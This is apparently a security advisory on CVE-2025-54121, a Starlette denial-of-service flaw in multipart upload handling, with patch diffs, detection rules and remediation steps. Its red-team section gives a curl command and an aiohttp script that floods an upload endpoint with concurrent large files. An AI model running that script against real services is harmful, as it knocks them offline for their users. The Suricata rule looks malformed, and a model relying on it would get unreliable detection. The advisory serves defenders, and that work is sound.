CVE-2025-54121

Executive Summary

CVE-2025-54121 is a denial-of-service (DoS) vulnerability in the Starlette ASGI framework for Python. The flaw resides in the multipart form parsing logic, specifically within the UploadFile class. When processing large file uploads that exceed the default maximum spool size, Starlette incorrectly blocks the main event loop thread to roll the file over to disk. This blocking behavior prevents the application from accepting new connections, leading to a denial-of-service condition. The vulnerability affects Starlette versions 0.47.1 and below and has been patched in version 0.47.2.

Supply Chain & Package Security

This vulnerability affects the PyPI package starlette. Organizations using Starlette in their Python web applications should immediately update to version 0.47.2 or later. The vulnerability is introduced through the package's multipart form handling logic and can be triggered by any unauthenticated user sending a crafted multipart request with a large file. Given the widespread use of Starlette in modern async Python web frameworks (e.g., FastAPI, which depends on Starlette), the supply chain impact is significant. Users should verify their dependency trees and ensure no pinned versions are vulnerable.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; a simple multipart request with a large file suffices.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): Low – The application becomes unresponsive to new connections, but existing connections may continue.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for service disruption make this a significant concern for production environments.

Deep Dive & Mechanics

Starlette uses an asynchronous event loop (typically asyncio) to handle concurrent connections. When a multipart form is parsed, the UploadFile class manages file data. By default, Starlette uses a spooled temporary file that stores data in memory up to a certain size (the max_spool_size), after which it rolls over to a disk-based temporary file.

The bug occurs in the logic that decides when to roll over. In vulnerable versions, the code only checks self._in_memory to determine if the file is still in memory. However, it fails to check whether adding the current chunk of bytes would cause the total size to exceed the max_spool_size. As a result, when a large file is uploaded, the main thread is blocked during the rollover process because the file write operation is synchronous and not properly offloaded to a thread pool or handled asynchronously.

This blocking of the main event loop thread means that the application cannot process new incoming connections or handle other I/O operations, effectively causing a denial of service. The fix in version 0.47.2 adds a check to see if the additional bytes will cause a rollover and handles the operation asynchronously, preventing thread blocking.

Vulnerable vs. Patched Code

Vulnerable Code (v0.47.1 and below):

# In starlette/formparsers.py (simplified)
class UploadFile:
    async def write(self, data: bytes) -> None:
        if self._in_memory:
            self._data.write(data)
            # Bug: No check if data exceeds max_spool_size
        else:
            # This blocks the main thread
            self._file.write(data)

Patched Code (v0.47.2):

# In starlette/formparsers.py (simplified)
class UploadFile:
    async def write(self, data: bytes) -> None:
        if self._in_memory:
            # Check if adding data will exceed max_spool_size
            if self._data.tell() + len(data) > self._max_spool_size:
                await self._rollover()
            self._data.write(data)
        else:
            # Offload to thread pool to avoid blocking
            await self._loop.run_in_executor(None, self._file.write, data)

The key difference is the addition of a size check before writing to the in-memory buffer and the use of run_in_executor to perform disk writes asynchronously.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running Starlette v0.47.1 or below.
• Network access to the target's endpoint that accepts multipart form uploads.

Exploitation Steps:

1. Identify an endpoint that accepts file uploads (e.g., /upload).
2. Craft a multipart POST request with a file larger than the default max_spool_size (typically 1 MB).
3. Send the request repeatedly to exhaust the server's ability to handle new connections.

Example using curl:

# Create a large file (e.g., 10 MB)
dd if=/dev/zero of=largefile.bin bs=1M count=10

# Send the request
curl -X POST http://target.com/upload \
  -F "file=@largefile.bin"

Automated DoS Script (Python):

import asyncio
import aiohttp

async def send_request(session, url):
    data = aiohttp.FormData()
    data.add_field('file', b'A' * 2_000_000, filename='payload.bin')
    async with session.post(url, data=data) as resp:
        pass

async def main():
    url = "http://target.com/upload"
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, url) for _ in range(100)]
        await asyncio.gather(*tasks)

asyncio.run(main())

Blue Team (Defender)

Detection:

• Monitor for a high volume of large multipart POST requests.
• Look for requests with Content-Type: multipart/form-data and unusually large body sizes.
• Check server logs for timeouts or connection drops.

Mitigation:

• Immediately update Starlette to v0.47.2 or later.
• Implement rate limiting on upload endpoints.
• Use a reverse proxy (e.g., Nginx) to limit request body size.
• Monitor event loop lag using tools like asyncio debug mode or custom metrics.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of POST requests to upload endpoints.
  • Requests with Content-Type: multipart/form-data and body sizes > 1 MB.
  • Repeated requests from the same IP address within a short time frame.

• Host IOCs:

  • Starlette process consuming high CPU or memory.
  • Temporary files in /tmp or system temp directories with large sizes.
  • Application logs showing TimeoutError or ConnectionResetError.

• Log IOCs:

  • starlette.exceptions.HTTPException: 503 Service Unavailable
  • asyncio.exceptions.TimeoutError
  • OSError: [Errno 24] Too many open files

Detection Engineering

YARA Rule

rule CVE_2025_54121_Starlette_DoS {
    meta:
        description = "Detects Starlette versions vulnerable to CVE-2025-54121"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $vuln_func = "def write(self, data: bytes) -> None:" ascii wide
        $vuln_check = "if self._in_memory:" ascii wide
        $vuln_write = "self._file.write(data)" ascii wide
        $patch_func = "await self._rollover()" ascii wide
        $patch_exec = "await self._loop.run_in_executor" ascii wide
    condition:
        $vuln_func and $vuln_check and $vuln_write and not $patch_func and not $patch_exec
}

Sigma Rule

title: CVE-2025-54121 Starlette DoS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-54121 by sending large multipart requests to Starlette applications.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: starlette
detection:
    selection:
        http.method: 'POST'
        http.content_type: 'multipart/form-data'
        http.body_size: '> 1000000'
    condition: selection
falsepositives:
    - Legitimate large file uploads
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54121 Starlette DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_content_type; content:!"|0d 0a|"; http_client_body; byte_test:4,>,1000000,0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Starlette: Upgrade to version 0.47.2 or later.

   pip install --upgrade starlette
   

2. Restrict Upload Size: Configure your reverse proxy or application to limit request body size.

   • Nginx: client_max_body_size 1M;
   • Starlette: Use middleware to limit body size.

3. Rate Limiting: Implement rate limiting on upload endpoints to prevent abuse.

Long-Term Measures:

• Code Review: Ensure all async I/O operations are properly offloaded to thread pools.
• Monitoring: Set up alerts for event loop lag and high connection rejection rates.
• Dependency Scanning: Regularly scan dependencies for known vulnerabilities using tools like pip-audit or Snyk.

Workaround (if patching is not immediately possible):

• Disable multipart form parsing if not needed.
• Use a separate process or service for file uploads that does not block the main event loop.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-54121